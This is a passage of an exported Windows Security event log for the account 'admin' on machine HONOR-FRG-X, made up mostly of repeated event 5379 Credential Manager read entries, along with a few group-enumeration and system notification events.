ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.428\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.428\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.475\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.475\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.476\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.476\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.476\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.476\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.477\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.477\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.477\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.477\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.477\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.477\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.478\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.478\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.149\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0xc38\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.160\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:07.174\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.175\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.175\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.176\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.177\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x18280 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:34:07.178\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.610\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.610\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.610\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.610\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.611\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.611\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.611\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.611\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.611\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.611\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.611\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.612\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.612\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.612\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.612\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.612\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tRead Credential\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.618\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.618\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.618\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.619\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.619\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.619\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.619\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.619\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.619\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.619\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.620\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.620\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.620\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.623\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.623\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.623\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.624\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.624\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.624\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.624\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.624\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.625\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.625\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.625\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity 